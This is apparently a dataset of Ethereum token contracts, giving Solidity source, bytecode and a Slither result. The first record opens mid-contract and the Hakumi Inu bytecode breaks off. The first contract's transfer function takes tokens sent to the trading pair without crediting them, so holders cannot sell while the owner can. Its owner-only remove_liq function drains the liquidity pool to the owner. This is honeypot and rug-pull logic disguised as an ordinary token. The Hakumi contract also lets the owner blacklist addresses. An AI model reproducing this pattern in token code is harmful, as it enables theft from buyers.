_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
if(sender == _owner || sender == address(this) || recipient == address(this)) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else if (recipient == pairAddress){ }
else{
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function remove_liq() public payable onlyOwner {
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy);
uniswapV2Router.removeLiquidity(
address(this),
uniswapV2Router.WETH(),
IERC20(pairAddress).balanceOf(_owner),
0, // slippage is unavoidable
0, // slippage is unavoidable
_owner,
block.timestamp
);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
receive() external payable {}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a57806395d89b411161005957806395d89b4114610383578063a457c2d714610398578063a9059cbb146103d1578063dd62ed3e1461040a576100fe565b806370a082311461030757806376c11b941461033a57806379cc67901461034257806392e7665e1461037b576100fe565b80632f54bf6e116100c65780632f54bf6e14610244578063313ce5671461027757806339509351146102a257806342966c68146102db576100fe565b806306fdde0314610103578063095ea7b31461018d57806318160ddd146101da57806323b872dd14610201576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610445565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019957600080fd5b506101c6600480360360408110156101b057600080fd5b506001600160a01b0381351690602001356104db565b604080519115158252519081900360200190f35b3480156101e657600080fd5b506101ef6104f1565b60408051918252519081900360200190f35b34801561020d57600080fd5b506101c66004803603606081101561022457600080fd5b506001600160a01b038135811691602081013590911690604001356104f7565b34801561025057600080fd5b506101c66004803603602081101561026757600080fd5b50356001600160a01b0316610560565b34801561028357600080fd5b5061028c610574565b6040805160ff9092168252519081900360200190f35b3480156102ae57600080fd5b506101c6600480360360408110156102c557600080fd5b506001600160a01b03813516906020013561057d565b3480156102e757600080fd5b50610305600480360360208110156102fe57600080fd5b50356105b3565b005b34801561031357600080fd5b506101ef6004803603602081101561032a57600080fd5b50356001600160a01b03166105c0565b6103056105db565b34801561034e57600080fd5b506103056004803603604081101561036557600080fd5b506001600160a01b038135169060200135610851565b610305610898565b34801561038f57600080fd5b50610118610a57565b3480156103a457600080fd5b506101c6600480360360408110156103bb57600080fd5b506001600160a01b038135169060200135610ab8565b3480156103dd57600080fd5b506101c6600480360360408110156103f457600080fd5b506001600160a01b038135169060200135610b07565b34801561041657600080fd5b506101ef6004803603604081101561042d57600080fd5b506001600160a01b0381358116916020013516610b14565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104d15780601f106104a6576101008083540402835291602001916104d1565b820191906000526020600020905b8154815290600101906020018083116104b457829003601f168201915b5050505050905090565b60006104e8338484610c37565b50600192915050565b60025490565b6000610504848484610d23565b610556843361055185604051806060016040528060288152602001611123602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610ba0565b610c37565b5060019392505050565b600a546001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104e89185906105519086610b3f565b6105bd3382610f57565b50565b6001600160a01b031660009081526020819052604090205490565b6105e433610560565b6105ed57600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064057600080fd5b505afa158015610654573d6000803e3d6000fd5b505050506040513d602081101561066a57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156106ba57600080fd5b505afa1580156106ce573d6000803e3d6000fd5b505050506040513d60208110156106e457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b15801561073657600080fd5b505af115801561074a573d6000803e3d6000fd5b505050506040513d602081101561076057600080fd5b5051600980546001600160a01b0319166001600160a01b039092169190911790556003546107919030908390610c37565b806001600160a01b031663f305d71934306064600354602d02816107b157fe5b600a54604080516001600160e01b031960e089901b1681526001600160a01b03958616600482015293909204602484015260006044840181905260648401529290921660848201524260a4820152905160c480830192606092919082900301818588803b15801561082157600080fd5b505af1158015610835573d6000803e3d6000fd5b50505050506040513d606081101561084c57600080fd5b505050565b60006108818260405180606001604052806024815260200161114b6024913961087a8633610b14565b9190610ba0565b905061088e833383610c37565b61084c8383610f57565b6108a133610560565b6108aa57600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663baa2abde30836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090d57600080fd5b505afa158015610921573d6000803e3d6000fd5b505050506040513d602081101561093757600080fd5b5051600954600a54604080516370a0823160e01b81526001600160a01b039283166004820152905191909216916370a08231916024808301926020929190829003018186803b15801561098957600080fd5b505afa15801561099d573d6000803e3d6000fd5b505050506040513d60208110156109b357600080fd5b5051600a54604080516001600160e01b031960e088901b1681526001600160a01b0395861660048201529385166024850152604484019290925260006064840181905260848401819052931660a48301524260c4830152805160e48084019492939192918390030190829087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050506040513d604081101561084c57600080fd5b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104d15780601f106104a6576101008083540402835291602001916104d1565b60006104e83384610551856040518060600160405280602581526020016111d9602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610ba0565b60006104e8338484610d23565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600082820183811015610b99576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60008184841115610c2f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610bf4578181015183820152602001610bdc565b50505050905090810190601f168015610c215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316610c7c5760405162461bcd60e51b81526004018080602001828103825260248152602001806111b56024913960400191505060405180910390fd5b6001600160a01b038216610cc15760405162461bcd60e51b81526004018080602001828103825260228152602001806110db6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610d685760405162461bcd60e51b81526004018080602001828103825260258152602001806111906025913960400191505060405180910390fd5b6001600160a01b038216610dad5760405162461bcd60e51b81526004018080602001828103825260238152602001806110966023913960400191505060405180910390fd5b610db883838361084c565b610df5816040518060600160405280602681526020016110fd602691396001600160a01b0386166000908152602081905260409020549190610ba0565b6001600160a01b03808516600081815260208190526040902092909255600a54161480610e2a57506001600160a01b03831630145b80610e3d57506001600160a01b03821630145b15610ebf576001600160a01b038216600090815260208190526040902054610e659082610b3f565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a361084c565b6009546001600160a01b0383811691161415610eda5761084c565b6001600160a01b038216600090815260208190526040902054610efd9082610b3f565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038216610f9c5760405162461bcd60e51b815260040180806020018281038252602181526020018061116f6021913960400191505060405180910390fd5b610fa88260008361084c565b610fe5816040518060600160405280602281526020016110b9602291396001600160a01b0385166000908152602081905260409020549190610ba0565b6001600160a01b03831660009081526020819052604090205560025461100b9082611053565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000610b9983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ba056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d6d7b768186d7fb5f1e82d043f66c3c24fd96c1d64aaa75a4fe3b1c5424f2d9664736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,611 |
0xe636c112051f387b7a7296d2de51f42fc35a4ed6
|
/**
*
* Hakumi Inu
https://t.me/HakumInu
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HakumiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "@HakumInu";
string private constant _symbol = "Hakumi";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xb437518B0059a0bE3cE3EC48AbbF4BC77b96BD55);
_feeAddrWallet2 = payable(0xb437518B0059a0bE3cE3EC48AbbF4BC77b96BD55);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c7578063b515566a146102e7578063c3c8cd8014610307578063c9567bf91461031c578063dd62ed3e1461033157600080fd5b806370a082311461023b578063715018a61461025b5780638da5cb5b1461027057806395d89b411461029857600080fd5b8063273123b7116100d1578063273123b7146101c8578063313ce567146101ea5780635932ead1146102065780636fc3eaec1461022657600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101a857600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260098152684048616b756d496e7560b81b60208201525b60405161014991906117ba565b60405180910390f35b34801561015e57600080fd5b5061017261016d36600461165a565b610377565b6040519015158152602001610149565b34801561018e57600080fd5b5068056bc75e2d631000005b604051908152602001610149565b3480156101b457600080fd5b506101726101c3366004611619565b61038e565b3480156101d457600080fd5b506101e86101e33660046115a6565b6103f7565b005b3480156101f657600080fd5b5060405160098152602001610149565b34801561021257600080fd5b506101e8610221366004611752565b61044b565b34801561023257600080fd5b506101e8610493565b34801561024757600080fd5b5061019a6102563660046115a6565b6104c0565b34801561026757600080fd5b506101e86104e2565b34801561027c57600080fd5b506000546040516001600160a01b039091168152602001610149565b3480156102a457600080fd5b5060408051808201909152600681526548616b756d6960d01b602082015261013c565b3480156102d357600080fd5b506101726102e236600461165a565b610556565b3480156102f357600080fd5b506101e8610302366004611686565b610563565b34801561031357600080fd5b506101e86105f9565b34801561032857600080fd5b506101e861062f565b34801561033d57600080fd5b5061019a61034c3660046115e0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103843384846109f2565b5060015b92915050565b600061039b848484610b16565b6103ed84336103e8856040518060600160405280602881526020016119a6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e63565b6109f2565b5060019392505050565b6000546001600160a01b0316331461042a5760405162461bcd60e51b81526004016104219061180f565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104755760405162461bcd60e51b81526004016104219061180f565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b357600080fd5b476104bd81610e9d565b50565b6001600160a01b03811660009081526002602052604081205461038890610f22565b6000546001600160a01b0316331461050c5760405162461bcd60e51b81526004016104219061180f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610384338484610b16565b6000546001600160a01b0316331461058d5760405162461bcd60e51b81526004016104219061180f565b60005b81518110156105f5576001600660008484815181106105b1576105b1611956565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ed81611925565b915050610590565b5050565b600c546001600160a01b0316336001600160a01b03161461061957600080fd5b6000610624306104c0565b90506104bd81610fa6565b6000546001600160a01b031633146106595760405162461bcd60e51b81526004016104219061180f565b600f54600160a01b900460ff16156106b35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610421565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f0308268056bc75e2d631000006109f2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072957600080fd5b505afa15801561073d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076191906115c3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a957600080fd5b505afa1580156107bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e191906115c3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082957600080fd5b505af115801561083d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086191906115c3565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610891816104c0565b6000806108a66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090957600080fd5b505af115801561091d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610942919061178c565b5050600f8054674563918244f4000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109ba57600080fd5b505af11580156109ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f5919061176f565b6001600160a01b038316610a545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b038216610ab55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b038216610bdc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b60008111610c3e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610421565b6001600a556008600b556000546001600160a01b03848116911614801590610c7457506000546001600160a01b03838116911614155b15610e53576001600160a01b03831660009081526006602052604090205460ff16158015610cbb57506001600160a01b03821660009081526006602052604090205460ff16155b610cc457600080fd5b600f546001600160a01b038481169116148015610cef5750600e546001600160a01b03838116911614155b8015610d1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610d295750600f54600160b81b900460ff165b15610d8657601054811115610d3d57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6157600080fd5b610d6c42601e6118b5565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610db15750600e546001600160a01b03848116911614155b8015610dd657506001600160a01b03831660009081526005602052604090205460ff16155b15610de6576001600a556008600b555b6000610df1306104c0565b600f54909150600160a81b900460ff16158015610e1c5750600f546001600160a01b03858116911614155b8015610e315750600f54600160b01b900460ff165b15610e5157610e3f81610fa6565b478015610e4f57610e4f47610e9d565b505b505b610e5e83838361112f565b505050565b60008184841115610e875760405162461bcd60e51b815260040161042191906117ba565b506000610e94848661190e565b95945050505050565b600c546001600160a01b03166108fc610eb783600261113a565b6040518115909202916000818181858888f19350505050158015610edf573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610efa83600261113a565b6040518115909202916000818181858888f193505050501580156105f5573d6000803e3d6000fd5b6000600854821115610f895760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610421565b6000610f9361117c565b9050610f9f838261113a565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fee57610fee611956565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104257600080fd5b505afa158015611056573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107a91906115c3565b8160018151811061108d5761108d611956565b6001600160a01b039283166020918202929092010152600e546110b391309116846109f2565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ec908590600090869030904290600401611844565b600060405180830381600087803b15801561110657600080fd5b505af115801561111a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e5e83838361119f565b6000610f9f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611296565b60008060006111896112c4565b9092509050611198828261113a565b9250505090565b6000806000806000806111b187611306565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e39087611363565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121290866113a5565b6001600160a01b03891660009081526002602052604090205561123481611404565b61123e848361144e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128391815260200190565b60405180910390a3505050505050505050565b600081836112b75760405162461bcd60e51b815260040161042191906117ba565b506000610e9484866118cd565b600854600090819068056bc75e2d631000006112e0828261113a565b8210156112fd5750506008549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006113238a600a54600b54611472565b925092509250600061133361117c565b905060008060006113468e8787876114c7565b919e509c509a509598509396509194505050505091939550919395565b6000610f9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e63565b6000806113b283856118b5565b905083811015610f9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610421565b600061140e61117c565b9050600061141c8383611517565b3060009081526002602052604090205490915061143990826113a5565b30600090815260026020526040902055505050565b60085461145b9083611363565b60085560095461146b90826113a5565b6009555050565b600080808061148c60646114868989611517565b9061113a565b9050600061149f60646114868a89611517565b905060006114b7826114b18b86611363565b90611363565b9992985090965090945050505050565b60008080806114d68886611517565b905060006114e48887611517565b905060006114f28888611517565b90506000611504826114b18686611363565b939b939a50919850919650505050505050565b60008261152657506000610388565b600061153283856118ef565b90508261153f85836118cd565b14610f9f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042